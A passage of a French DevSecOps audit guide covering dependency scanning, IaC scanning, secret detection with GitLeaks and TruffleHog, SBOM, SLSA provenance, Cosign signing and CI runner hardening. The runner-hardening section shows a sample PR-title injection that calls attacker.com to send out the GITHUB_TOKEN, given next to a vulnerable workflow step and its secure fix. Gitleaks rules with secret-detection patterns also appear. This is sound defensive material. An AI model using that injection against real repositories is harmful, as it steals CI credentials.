uses: actions/upload-artifact@v4
with:
name: sbom
path: sbom.cdx.json
Trivy offre une option importante : --ignore-unfixed. Cette option exclut les vulnérabilités pour lesquelles aucun correctif n'est disponible. En contexte de pipeline CI/CD, c'est crucial : bloquer un déploiement pour une vulnérabilité sans correctif n'apporte aucune valeur et génère de la frustration. Nous recommandons d'utiliser cette option dans le pipeline et de traiter les vulnérabilités sans correctif dans un processus séparé de gestion des risques (revue mensuelle, analyse d'exploitabilité, compensating controls).
Gestion des vulnérabilités
Le fichier .trivyignore permet de documenter les exceptions avec leur justification :
# .trivyignore
# Format : CVE-ID # Justification + date de révision
# Vulnérabilité dans un composant non utilisé dans notre contexte
CVE-2024-29180 # golang.org/x/net/html - nous n'utilisons pas le package html. Révision: 2026-09-01
# Vulnérabilité avec un score CVSS surévalué dans notre contexte (pas d'input utilisateur)
CVE-2023-45288 # golang.org/x/net HTTP/2 - impact nul car nous n'exposons pas de serveur HTTP/2 directement. Révision: 2026-06-15
# Faux positif confirmé
CVE-2024-12345 # Faux positif - la version affectée ne correspond pas (patch interne). Révision: 2026-03-30
Snyk : Intégration Développeur et Remédiation Automatique
Snyk se distingue par ses capacités de remédiation automatique. Lorsqu'une vulnérabilité est détectée dans une dépendance, Snyk peut automatiquement créer une pull request qui met à jour la dépendance vers une version corrigée. Cette fonctionnalité réduit considérablement le temps de remédiation — de jours (processus manuel) à minutes (PR automatique). Snyk excelle également dans la détection de la dependency confusion : il vérifie si des packages internes portent le même nom que des packages publics, ce qui constitue un risque majeur de supply chain attack.
# .github/workflows/sca-snyk.yml
name: SCA - Snyk
on:
pull_request:
push:
branches: [main]
schedule:
- cron: '0 6 * * 1' # Scan hebdomadaire le lundi à 6h
jobs:
snyk-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Snyk Security Scan
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: >
--severity-threshold=high
--fail-on=all
--sarif-file-output=snyk.sarif
--policy-path=.snyk
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: snyk.sarif
snyk-monitor:
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Snyk Monitor (continuous monitoring)
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
command: monitor
args: --org=${{ vars.SNYK_ORG }}
Grype et Syft : Tandem SBOM + Vulnérabilités
Grype d'Anchore est une alternative légère à Trivy, particulièrement performante pour le scan d'images de conteneurs. Son intégration avec Syft (générateur de SBOM) en fait un choix solide pour les organisations qui veulent séparer la génération du SBOM de l'analyse de vulnérabilités. Cette séparation permet de réutiliser le SBOM pour d'autres usages (conformité, licence, audit) sans re-scanner à chaque fois :
Scanning et analyse
# Génération du SBOM avec Syft
syft packages . -o spdx-json=sbom.spdx.json
syft packages . -o cyclonedx-json=sbom.cdx.json
# Analyse de vulnérabilités sur le SBOM avec Grype
grype sbom:sbom.spdx.json \
--fail-on high \
--output sarif \
--file grype-results.sarif
# Scan direct d'une image (sans SBOM intermédiaire)
grype mon-registre.io/mon-app:latest \
--fail-on high \
--only-fixed \
--output table
# Comparaison de SBOM entre deux versions (détection de nouvelles dépendances)
diff <(jq '.packages[].name' sbom-v1.spdx.json | sort) \
<(jq '.packages[].name' sbom-v2.spdx.json | sort)
L'audit SCA ne se limite pas à détecter les CVE connues. Il faut également vérifier la politique de gestion des dépendances de l'organisation :
- Lock files : Les fichiers de verrouillage (package-lock.json, go.sum, Gemfile.lock) sont-ils commités et utilisés en CI ? Un
npm installsans lock file peut résoudre vers une version différente de celle testée. - Registres privés : Les registres privés sont-ils configurés pour éviter la dependency confusion ? Un package interne
@company/utilssans scope privé peut être remplacé par un package malveillant publié sur npm public avec le même nom. - Dépendances de développement : Les dépendances devDependencies sont-elles exclues de l'image de production ? Un Dockerfile qui fait
npm installau lieu denpm ci --productioninclut toutes les dépendances de développement dans l'image finale. - Politique de mise à jour : Les dépendances sont-elles mises à jour régulièrement ? Un audit qui trouve 50 CVE critiques est souvent le symptôme d'une dette de mise à jour accumulée sur des mois.
Point essentiel : La SCA doit combiner trois axes : détection des CVE connues (Trivy, Snyk, Grype), vérification des licences (license compliance), et protection contre la dependency confusion (registres privés, scoped packages). Le SBOM (Software Bill of Materials) généré par Syft ou Trivy sert de fondation à ces trois axes et doit être archivé avec chaque release. Une politique de mise à jour proactive (Dependabot, Renovate) réduit l'accumulation de vulnérabilités dans le temps et évite les mises à jour massives et risquées.
IaC Scanning : Sécuriser l'Infrastructure Avant le Déploiement
L'Infrastructure as Code (Terraform, CloudFormation, Pulumi, Ansible, Kubernetes manifests) définit l'infrastructure de production. Une erreur de configuration dans un fichier Terraform — un security group ouvert sur 0.0.0.0/0, un bucket S3 public, une base de données sans chiffrement, un cluster EKS avec un endpoint API public — a des conséquences directes et immédiates en production. Le scanning IaC détecte ces erreurs avant le déploiement, quand la correction est simple et sans risque.
Le scanning IaC est fondamentalement différent du SAST applicatif. Il ne cherche pas des bugs dans la logique du code mais des violations de politiques de sécurité dans des déclarations d'infrastructure. Les benchmarks de référence sont les CIS Benchmarks (AWS, Azure, GCP, Kubernetes) et les recommandations des fournisseurs cloud (AWS Well-Architected, Azure Security Benchmark).
Checkov : Le Standard de Facto
Checkov de Bridgecrew (acquis par Palo Alto Networks) est le scanner IaC le plus complet. Il supporte Terraform, CloudFormation, Kubernetes, Helm, ARM templates, Serverless Framework, Docker, et Bicep. Il intègre plus de 2 500 politiques prédéfinies alignées sur les benchmarks CIS et les bonnes pratiques cloud. Son intégration dans Prisma Cloud permet une visibilité continue de la posture de sécurité de l'infrastructure.
# .github/workflows/iac-checkov.yml
name: IaC - Checkov
on:
pull_request:
paths:
- 'terraform/**'
- 'kubernetes/**'
- 'Dockerfile*'
- 'docker-compose*.yml'
- 'helm/**'
jobs:
checkov:
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- uses: actions/checkout@v4
- name: Checkov Scan
uses: bridgecrewio/checkov-action@v12
with:
directory: .
framework: terraform,kubernetes,dockerfile,helm
soft_fail: false
output_format: cli,sarif
output_file_path: console,checkov-results.sarif
skip_check: CKV_AWS_18,CKV_AWS_21 # Faux positifs documentés dans .checkov-exceptions.yml
config_file: .checkov.yml
compact: true
quiet: true
download_external_modules: true
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: checkov-results.sarif
# .checkov.yml - Configuration Checkov
soft-fail: false
compact: true
framework:
- terraform
- kubernetes
- dockerfile
- helm
skip-check:
- CKV_AWS_18 # S3 bucket logging - géré par un module centralisé
- CKV_AWS_21 # S3 versioning sur des buckets temporaires
- CKV_K8S_40 # Image tag latest - autorisé en staging
check:
- CKV_AWS_*
- CKV_K8S_*
- CKV_DOCKER_*
directories:
- terraform/
- kubernetes/
- docker/
skip-path:
- terraform/modules/deprecated/
- kubernetes/dev-only/
Checkov permet de créer des politiques personnalisées en Python. Voici un exemple de politique qui vérifie que tous les buckets S3 Terraform ont le versioning activé, le chiffrement SSE-KMS (pas SSE-S3), et un lifecycle policy pour limiter les coûts :
# custom_policies/s3_security.py
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
from checkov.common.models.enums import CheckCategories, CheckResult
class S3BucketComprehensiveCheck(BaseResourceCheck):
def __init__(self):
name = "S3 bucket must have versioning, KMS encryption, and lifecycle policy"
id = "CKV_CUSTOM_S3_001"
supported_resources = ['aws_s3_bucket']
categories = [CheckCategories.ENCRYPTION, CheckCategories.BACKUP_AND_RECOVERY]
super().__init__(name=name, id=id,
categories=categories,
supported_resources=supported_resources)
def scan_resource_conf(self, conf):
# Vérifier le versioning
versioning = conf.get("versioning", [{}])
if isinstance(versioning, list) and len(versioning) > 0:
enabled = versioning[0].get("enabled", [False])
if isinstance(enabled, list):
enabled = enabled[0]
if not enabled:
return CheckResult.FAILED
# Vérifier le chiffrement KMS (pas S3)
encryption = conf.get("server_side_encryption_configuration", [])
if not encryption:
return CheckResult.FAILED
rule = encryption[0].get("rule", [{}])
if isinstance(rule, list) and len(rule) > 0:
sse = rule[0].get("apply_server_side_encryption_by_default", [{}])
if isinstance(sse, list) and len(sse) > 0:
algo = sse[0].get("sse_algorithm", [""])
if isinstance(algo, list):
algo = algo[0]
if algo != "aws:kms":
return CheckResult.FAILED
# Vérifier la lifecycle policy
lifecycle = conf.get("lifecycle_rule", [])
if not lifecycle:
return CheckResult.FAILED
return CheckResult.PASSED
check = S3BucketComprehensiveCheck()
tfsec et KICS : Alternatives Spécialisées
tfsec (désormais intégré dans Trivy via trivy config) est spécialisé dans l'analyse des configurations Terraform. Il comprend la syntaxe HCL nativement et résout les références entre ressources, les variables et les modules, ce qui lui permet de détecter des problèmes que Checkov manque parfois. KICS de Checkmarx est un scanner IaC open-source qui se distingue par sa couverture étendue des frameworks et sa base de requêtes Rego (Open Policy Agent), ce qui le rend pertinent pour les organisations qui utilisent déjà OPA pour la gouvernance de leurs clusters Kubernetes.
Analyse complémentaire
# Exécution de tfsec (maintenant intégré dans Trivy)
trivy config terraform/ \
--severity CRITICAL,HIGH \
--format sarif \
--output tfsec-results.sarif \
--tf-vars terraform.tfvars \
--exit-code 1
# Intégration KICS dans GitLab CI
kics-scan:
stage: security
image: checkmarx/kics:latest
script:
- kics scan
--path ${CI_PROJECT_DIR}/terraform
--path ${CI_PROJECT_DIR}/kubernetes
--output-path ${CI_PROJECT_DIR}/kics-results
--report-formats sarif,json,html
--fail-on high,critical
--exclude-paths "test/,examples/,deprecated/"
--exclude-queries "b03a748a-542d-44f4-bb86-9199ab4fd2d5"
--type Terraform,Kubernetes,Dockerfile
artifacts:
paths:
- kics-results/
when: always
expire_in: 30 days
L'audit IaC doit vérifier non seulement la présence d'un scanner, mais aussi sa couverture. Nous avons vu des organisations qui scannent leurs fichiers Terraform mais ignorent leurs Dockerfiles, leurs manifests Kubernetes, leurs charts Helm et leurs configurations Ansible. La couverture doit être exhaustive. De plus, les modules Terraform externes (téléchargés depuis le Terraform Registry) doivent être scannés avec le flag --download-external-modules — sans cela, les vulnérabilités dans les modules tiers ne sont pas détectées.
Détection de Secrets : TruffleHog et GitLeaks
Les secrets committés dans un dépôt Git sont l'un des vecteurs d'attaque les plus exploités et les plus simples. Même si le secret est supprimé dans un commit ultérieur, il reste accessible dans l'historique Git indéfiniment (sauf rebase ou filter-branch, rarement effectués). Selon les rapports de GitGuardian, en 2025, plus de 12 millions de secrets ont été détectés dans les dépôts publics GitHub, une augmentation de 28% par rapport à 2024. La détection de secrets doit opérer à deux niveaux : pré-commit (empêcher le commit avant qu'il n'atteigne le serveur) et CI (détecter les secrets déjà committés, dans l'historique ou dans les fichiers de configuration).
TruffleHog : Analyse de l'Historique Git avec Vérification Active
TruffleHog v3 analyse l'historique complet du dépôt Git et détecte les secrets en utilisant des détecteurs spécifiques à chaque type de secret (clé AWS, token GitHub, mot de passe base64, clé privée SSH). Il vérifie également si les secrets détectés sont toujours actifs en tentant de les utiliser contre les API correspondantes. Cette vérification active est unique et réduit drastiquement les faux positifs.
# Scan complet de l'historique avec TruffleHog
# Mode CI : scanner uniquement les commits de la PR
trufflehog git file://. \
--since-commit=${GITHUB_BASE_SHA} \
--fail \
--only-verified \
--json \
--output trufflehog-results.json
# Mode audit : scanner l'historique complet
trufflehog git file://. \
--fail \
--json \
--output trufflehog-full-results.json
# Scanner un dépôt GitHub directement (via API)
trufflehog github --org=mon-organisation \
--only-verified \
--json
# Scanner un bucket S3 (secrets dans les artefacts)
trufflehog s3 --bucket=mon-bucket-ci-artifacts \
--only-verified
# Types de secrets détectés par TruffleHog v3 :
# - AWS Access Keys (AKIA...) → vérifié via sts:GetCallerIdentity
# - GitHub Personal Access Tokens → vérifié via api.github.com/user
# - Slack Bot Tokens → vérifié via api.slack.com/auth.test
# - Stripe API Keys → vérifié via api.stripe.com/v1/charges
# - SendGrid API Keys → vérifié via api.sendgrid.com/v3/scopes
# - Google Cloud Service Account Keys (JSON)
# - Private Keys (RSA, EC, Ed25519)
# - Database connection strings
# - JWT signing secrets (si le pattern est détectable)
# - Et 700+ autres détecteurs
La vérification active (--only-verified) est une fonctionnalité critique : elle réduit les faux positifs en ne signalant que les secrets qui fonctionnent réellement. Cependant, elle implique que TruffleHog envoie des requêtes vers des API externes, ce qui peut poser des problèmes de conformité dans certains environnements (données quittant le réseau), et des problèmes de rate limiting (si le scan trouve beaucoup de secrets potentiels). En audit, nous recommandons d'exécuter TruffleHog sans --only-verified pour l'audit initial (inventaire complet), puis avec --only-verified pour prioriser la remédiation.
GitLeaks : Rapidité et Hook Pré-commit
GitLeaks est plus rapide que TruffleHog et s'intègre facilement comme hook de pré-commit. Sa configuration par fichier .gitleaks.toml permet de personnaliser les patterns de détection et les exclusions. L'approche recommandée est d'utiliser GitLeaks en pré-commit (empêcher les secrets de quitter le poste développeur) et TruffleHog en CI (détecter les secrets qui auraient échappé au pré-commit, et scanner l'historique) :
Détection et alerting
# .gitleaks.toml
title = "Gitleaks Configuration"
[allowlist]
description = "Allowed patterns and paths"
paths = [
'''vendor/''',
'''node_modules/''',
'''\.test\.''',
'''mock_.*\.go''',
'''testdata/''',
'''fixtures/''',
]
regexes = [
'''EXAMPLE_KEY_\w+''',
'''REPLACE_ME_\w+''',
'''test-api-key-\w+''',
'''000000000000''',
]
commits = [
"abc123def456", # Commit historique avec faux positif connu
]
# Règle personnalisée pour détecter les patterns internes
[[rules]]
id = "custom-internal-api-key"
description = "Internal API Key Pattern (32-64 chars alphanumeric)"
regex = '''(?i)(?:internal[_-]?api[_-]?key|internal[_-]?token)\s*[=:]\s*['"]?([a-zA-Z0-9]{32,64})['"]?'''
secretGroup = 1
entropy = 3.5
keywords = ["internal_api_key", "internal_token", "internal-api-key"]
[[rules]]
id = "custom-database-url"
description = "Database URL with credentials"
regex = '''(?i)(?:postgres|mysql|mongodb|redis):\/\/[^:]+:[^@]+@[^\/]+'''
keywords = ["postgres://", "mysql://", "mongodb://", "redis://"]
# Hook pré-commit configuration
# .pre-commit-config.yaml
# repos:
# - repo: https://github.com/gitleaks/gitleaks
# rev: v8.18.4
# hooks:
# - id: gitleaks
# .github/workflows/secrets-detection.yml
name: Secrets Detection
on:
pull_request:
push:
branches: [main]
jobs:
gitleaks:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: GitLeaks Scan
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_CONFIG: .gitleaks.toml
GITLEAKS_ENABLE_COMMENTS: true
trufflehog:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: TruffleHog Scan
uses: trufflesecurity/trufflehog@main
with:
extra_args: --only-verified --results=verified
En audit, nous vérifions systématiquement l'historique Git complet du ou des dépôts principaux. Nous avons trouvé des clés AWS actives dans des commits vieux de 3 ans, des mots de passe de bases de données de production dans des fichiers de configuration supprimés depuis longtemps, des tokens d'API de services SaaS (Stripe, Twilio, SendGrid) qui n'avaient jamais été révoqués. La remédiation ne consiste pas seulement à supprimer le secret du code — il faut révoquer le secret compromis, en générer un nouveau, vérifier les logs d'utilisation pour détecter une exploitation, et configurer des alertes sur l'utilisation des nouveaux credentials.
SBOM et Intégrité de la Chaîne d'Approvisionnement
Le Software Bill of Materials (SBOM) est un inventaire exhaustif de tous les composants logiciels d'une application. Les frameworks SPDX (Linux Foundation) et CycloneDX (OWASP) fournissent des formats standardisés pour représenter ces inventaires. La génération automatique du SBOM dans le pipeline CI/CD est devenue une exigence réglementaire dans de nombreux secteurs : Executive Order 14028 aux États-Unis, directive NIS2 en Europe, exigences DORA pour le secteur financier européen.
Génération du SBOM
# Génération SBOM avec Syft (format SPDX)
syft packages . -o spdx-json=sbom-spdx.json
syft packages . -o spdx-tag-value=sbom.spdx # Format texte lisible
# Génération SBOM avec Trivy (format CycloneDX)
trivy fs . --format cyclonedx --output sbom-cyclonedx.json
# Génération SBOM pour une image Docker (tous les composants : OS + libraries)
syft packages mon-registre.io/mon-app:v1.2.3 \
-o spdx-json=sbom-image-spdx.json
# Vérifier le contenu du SBOM
jq '.packages | length' sbom-spdx.json # Nombre de composants
jq '.packages[].name' sbom-spdx.json | sort | uniq # Liste des packages
# Comparer deux SBOMs (détecter les changements de dépendances entre releases)
diff <(jq -r '.packages[] | "\(.name) \(.versionInfo)"' sbom-v1.spdx.json | sort) \
<(jq -r '.packages[] | "\(.name) \(.versionInfo)"' sbom-v2.spdx.json | sort)
SLSA : Supply-chain Levels for Software Artifacts
SLSA (prononcé "salsa") est un framework de Google qui définit des niveaux de maturité pour la sécurité de la chaîne d'approvisionnement logicielle. Les niveaux sont : SLSA 1 (build scriptée et documentée), SLSA 2 (provenance authentifiée générée par un service hébergé), SLSA 3 (provenance non-falsifiable générée par un système de build isolé), et SLSA 4 (build hermétique avec deux personnes pour la review + provenance vérifiable). L'atteinte du niveau SLSA 3 est un objectif réaliste pour la plupart des organisations qui utilisent GitHub Actions ou Google Cloud Build.
# .github/workflows/slsa-provenance.yml
name: SLSA Build L3
on:
push:
tags: ['v*']
jobs:
build:
runs-on: ubuntu-latest
outputs:
digest: ${{ steps.build.outputs.digest }}
image: ${{ steps.build.outputs.image }}
steps:
- uses: actions/checkout@v4
- name: Build and push image
id: build
env:
REGISTRY: mon-registre.io
IMAGE_NAME: mon-app
run: |
TAG=${GITHUB_REF_NAME}
docker build -t ${REGISTRY}/${IMAGE_NAME}:${TAG} .
docker push ${REGISTRY}/${IMAGE_NAME}:${TAG}
DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' \
${REGISTRY}/${IMAGE_NAME}:${TAG} | cut -d@ -f2)
echo "digest=${DIGEST}" >> $GITHUB_OUTPUT
echo "image=${REGISTRY}/${IMAGE_NAME}" >> $GITHUB_OUTPUT
provenance:
needs: build
permissions:
actions: read
id-token: write
packages: write
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.0.0
with:
image: ${{ needs.build.outputs.image }}
digest: ${{ needs.build.outputs.digest }}
secrets:
registry-username: ${{ secrets.REGISTRY_USER }}
registry-password: ${{ secrets.REGISTRY_PASSWORD }}
verify:
needs: [build, provenance]
runs-on: ubuntu-latest
steps:
- name: Verify SLSA provenance
uses: slsa-framework/slsa-verifier/actions/installer@v2.6.0
- run: |
slsa-verifier verify-image \
${{ needs.build.outputs.image }}@${{ needs.build.outputs.digest }} \
--source-uri github.com/${{ github.repository }} \
--source-tag ${{ github.ref_name }}
Sigstore : Signature et Vérification des Artefacts
Sigstore fournit un écosystème de signature cryptographique pour les artefacts logiciels. L'avantage clé de Sigstore par rapport aux signatures GPG traditionnelles est le mode "keyless" : la signature utilise un certificat éphémère basé sur l'identité OIDC du système CI (le workflow GitHub Actions, l'identité du service account GCP). Pas de clé privée à gérer, pas de rotation de clés, pas de risque de fuite de la clé de signature.
Gestion des identités
# Signature d'image avec Cosign (keyless, basée sur l'identité OIDC)
# Dans un workflow GitHub Actions, Cosign utilise automatiquement l'OIDC token
cosign sign \
--yes \
--rekor-url=https://rekor.sigstore.dev \
mon-registre.io/mon-app@sha256:${DIGEST}
# Attacher le SBOM à l'image signée
cosign attach sbom \
--sbom sbom.cdx.json \
mon-registre.io/mon-app@sha256:${DIGEST}
# Vérification avant déploiement (dans le cluster Kubernetes ou le pipeline CD)
cosign verify \
--certificate-identity="https://github.com/mon-org/mon-repo/.github/workflows/build.yml@refs/tags/v1.2.3" \
--certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
--rekor-url=https://rekor.sigstore.dev \
mon-registre.io/mon-app@sha256:${DIGEST}
# Politique Kubernetes (Kyverno) pour n'admettre que les images signées
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: Enforce
background: false
rules:
- name: verify-cosign-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "mon-registre.io/mon-app:*"
attestors:
- entries:
- keyless:
issuer: "https://token.actions.githubusercontent.com"
subject: "https://github.com/mon-org/mon-repo/.github/workflows/build.yml@refs/tags/*"
rekor:
url: "https://rekor.sigstore.dev"
L'audit vérifie que la chaîne de confiance est complète : chaque artefact déployé en production doit pouvoir être tracé jusqu'à un commit spécifique dans le dépôt source, avec une provenance SLSA et une signature Cosign vérifiable. Toute rupture dans cette chaîne — un artefact non signé déployé, une image sans SBOM, un build sans provenance — est un finding d'audit qui compromet la traçabilité et la vérifiabilité de la chaîne d'approvisionnement.
Point essentiel : La combinaison SBOM (inventaire) + Signature (authenticité) + Provenance SLSA (traçabilité) forme le triptyque de la sécurité de la chaîne d'approvisionnement. Sans SBOM, vous ne savez pas ce que contient votre artefact. Sans signature, vous ne pouvez pas garantir qu'il n'a pas été modifié. Sans provenance, vous ne pouvez pas prouver qu'il a été produit par votre pipeline légitime. Les trois sont nécessaires pour répondre aux exigences NIS2, DORA et EO14028.
Hardening des Runners : GitHub Actions et GitLab CI
Les runners CI/CD exécutent du code arbitraire — c'est leur fonction. Mais cette capacité doit être encadrée par des contrôles stricts pour limiter l'impact d'un workflow compromis. Un runner mal configuré est une porte ouverte sur votre infrastructure.
GitHub Actions : Sécurisation des Workflows
Plusieurs configurations de sécurité sont critiques pour GitHub Actions. Chaque point représente un contrôle d'audit :
# Workflow sécurisé - toutes les bonnes pratiques
name: Secure Build
on:
push:
branches: [main]
pull_request:
branches: [main]
# Permissions minimales au niveau du workflow (défaut pour tous les jobs)
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
# Timeout pour éviter les miners de crypto et les boucles infinies
timeout-minutes: 30
# Permissions au niveau du job (override plus restrictif si nécessaire)
permissions:
contents: read
packages: write # Uniquement pour ce job qui pousse une image
# Environnement avec protection (approbation requise pour accéder aux secrets)
environment:
name: production
url: https://app.example.com
steps:
# Actions pinnées par SHA de commit (pas par tag mutable)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
with:
persist-credentials: false # Ne pas stocker le GITHUB_TOKEN dans .git/config
# Pas de secrets dans les arguments de commande (visibles dans les logs)
- name: Build and Push
env:
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
run: |
# Le secret est dans une variable d'environnement, pas dans la commande
echo "${REGISTRY_TOKEN}" | docker login -u bot --password-stdin mon-registre.io
docker build -t mon-registre.io/mon-app:${GITHUB_SHA} .
docker push mon-registre.io/mon-app:${GITHUB_SHA}
# Nettoyage explicite des credentials
- name: Cleanup
if: always()
run: docker logout mon-registre.io
Les points critiques à vérifier en audit de GitHub Actions :
1. Permissions par défaut : Au niveau de l'organisation GitHub, les permissions par défaut des tokens GITHUB_TOKEN doivent être réglées sur "read" (Settings → Actions → General → Workflow permissions). Un token avec des permissions "write" par défaut permet à n'importe quel workflow compromis de modifier le code, créer des releases, ou supprimer des branches. C'est le finding le plus fréquent et le plus critique dans nos audits.
2. Pinning des actions : Les actions tierces doivent être référencées par SHA de commit, pas par tag. Un attaquant qui compromet un dépôt d'action populaire (ou qui prend le contrôle d'un compte mainteneur) peut modifier le tag v4 pour pointer vers un commit malveillant. Le SHA est immuable. Utilisez un outil comme pin-github-action pour migrer automatiquement et maintenir les versions en commentaire.
Automatisation
3. Protection contre les PR malveillantes : Les workflows déclenchés par pull_request_target s'exécutent dans le contexte de la branche cible avec accès aux secrets. Si le workflow checkout le code de la PR (ref: ${{ github.event.pull_request.head.sha }}), un attaquant externe peut injecter du code qui exfiltre les secrets. La règle : ne jamais checkout le code d'une PR non approuvée dans un workflow pull_request_target. Utilisez pull_request (qui n'a pas accès aux secrets) pour les PR de forks.
4. Runners self-hosted : Les runners self-hosted ne doivent jamais être partagés entre des dépôts de confiance différente. Un workflow malveillant sur un runner self-hosted peut : lire les fichiers du runner (autres dépôts clonés, credentials cachés), installer des backdoors persistants, modifier les outils installés (injection dans le PATH), et compromettre tous les workflows futurs. La solution : Actions Runner Controller (ARC) sur Kubernetes avec des pods éphémères — chaque job crée un pod dédié qui est détruit à la fin.
5. Injection dans les expressions GitHub : Les expressions ${{ }} dans les steps run sont vulnérables à l'injection de commandes si elles contiennent des données contrôlées par un attaquant externe :
# VULNÉRABLE — injection via le titre de la PR
- name: Process PR
run: |
echo "Processing: ${{ github.event.pull_request.title }}"
# Un titre de PR contenant "; curl attacker.com/steal?token=$GITHUB_TOKEN #"
# injecte une commande qui exfiltre le token
# SÉCURISÉ — utiliser une variable d'environnement intermédiaire
- name: Process PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Processing: ${PR_TITLE}"
# La variable d'environnement n'est pas interprétée par le shell
GitLab CI : Sécurisation des Pipelines
# .gitlab-ci.yml - Configuration sécurisée
default:
# Runners avec tags spécifiques (pas de shared runner non contrôlé)
tags:
- secure-runner
- ephemeral
# Timeout global
timeout: 30 minutes
# Image par défaut avec digest (pas de tag mutable)
image: alpine:3.19@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
# Désactiver le cache entre jobs (évite l'empoisonnement de cache)
cache: {}
# Désactiver le mode interactif
interruptible: true
variables:
# Désactiver le clonage récursif des submodules (risque supply chain)
GIT_SUBMODULE_STRATEGY: none
# Nettoyage complet entre les jobs
GIT_CLEAN_FLAGS: -ffdx
# Pas de téléchargement automatique des artefacts de stages précédents
GIT_STRATEGY: clone # clone frais à chaque job
# Variables protégées uniquement sur les branches protégées
# (configuré via Settings → CI/CD → Variables → Protected)
# Les secrets de production ne sont JAMAIS accessibles sur les branches features
stages:
- lint
- test
- security
- build
- deploy
# Règle globale : pas de pipeline sur les forks non approuvés
workflow:
rules:
- if: $CI_COMMIT_BRANCH && $CI_PIPELINE_SOURCE == "push"
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
- if: $CI_PIPELINE_SOURCE == "schedule"
L'audit GitLab CI vérifie également :
Analyse complémentaire
- Configuration des variables protégées et masquées (les secrets ne fuient pas dans les logs)
- Politiques de merge request (approbations requises, pas de self-approval, CODEOWNERS sur .gitlab-ci.yml)
- Protection des branches (pas de push direct sur main/master sans pipeline)
- Configuration des runners (tags, isolation, nettoyage)
- Accès aux environments protégés (approbation pour le déploiement production)
- Politique d'expiration des artefacts (pas de credentials dans les artefacts archivés indéfiniment)
Orchestration : Le Pipeline de Sécurité Complet
Les outils individuels ne suffisent pas. L'audit évalue la cohérence de l'orchestration : comment les résultats sont-ils agrégés ? Quelles sont les conditions de blocage ? Comment les exceptions sont-elles gérées ? Comment les équipes sont-elles notifiées ? Voici un pipeline de sécurité complet qui intègre toutes les composantes avec une gate de sécurité centralisée :
# .github/workflows/security-pipeline.yml
name: Security Pipeline
on:
pull_request:
branches: [main, develop]
push:
branches: [main]
schedule:
- cron: '0 2 * * 1' # Scan complet hebdomadaire
permissions:
contents: read
security-events: write
pull-requests: write
env:
SECURITY_GATE_FAIL_ON: "high,critical"
jobs:
# === Phase 1 : Analyses rapides (parallèles) ===
semgrep:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- name: Semgrep
uses: semgrep/semgrep-action@713efdd81429e7e8df13608dc2a67a0eb0eff62e
with:
config: p/owasp-top-ten p/security-audit p/secrets .semgrep/
generateSarif: "1"
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: semgrep.sarif
category: sast-semgrep
trivy-sca:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- name: Trivy FS Scan
uses: aquasecurity/trivy-action@0.28.0
with:
scan-type: fs
severity: CRITICAL,HIGH
format: sarif
output: trivy-fs.sarif
exit-code: 1
ignore-unfixed: true
trivyignores: .trivyignore
gitleaks:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
with:
fetch-depth: 0
- uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
checkov:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- uses: bridgecrewio/checkov-action@v12
with:
directory: .
framework: terraform,kubernetes,dockerfile
soft_fail: false
config_file: .checkov.yml
# === Phase 2 : Analyses profondes (après merge vers main) ===
codeql:
if: github.event_name == 'push' || github.event_name == 'schedule'
runs-on: ubuntu-latest
timeout-minutes: 45
permissions:
security-events: write
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- uses: github/codeql-action/init@v3
with:
languages: go
queries: +security-extended
- uses: github/codeql-action/autobuild@v3
- uses: github/codeql-action/analyze@v3
with:
category: sast-codeql
# === Phase 3 : Security Gate ===
security-gate:
needs: [semgrep, trivy-sca, gitleaks, checkov]
runs-on: ubuntu-latest
if: always()
steps:
- name: Evaluate Security Gate
run: |
echo "## Security Gate Results" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
declare -A results
results[SAST-Semgrep]="${{ needs.semgrep.result }}"
results[SCA-Trivy]="${{ needs.trivy-sca.result }}"
results[Secrets-GitLeaks]="${{ needs.gitleaks.result }}"
results[IaC-Checkov]="${{ needs.checkov.result }}"
GATE_PASSED=true
for check in "${!results[@]}"; do
status="${results[$check]}"
if [ "$status" = "failure" ]; then
echo "| $check | ❌ FAILED |" >> $GITHUB_STEP_SUMMARY
GATE_PASSED=false
elif [ "$status" = "success" ]; then
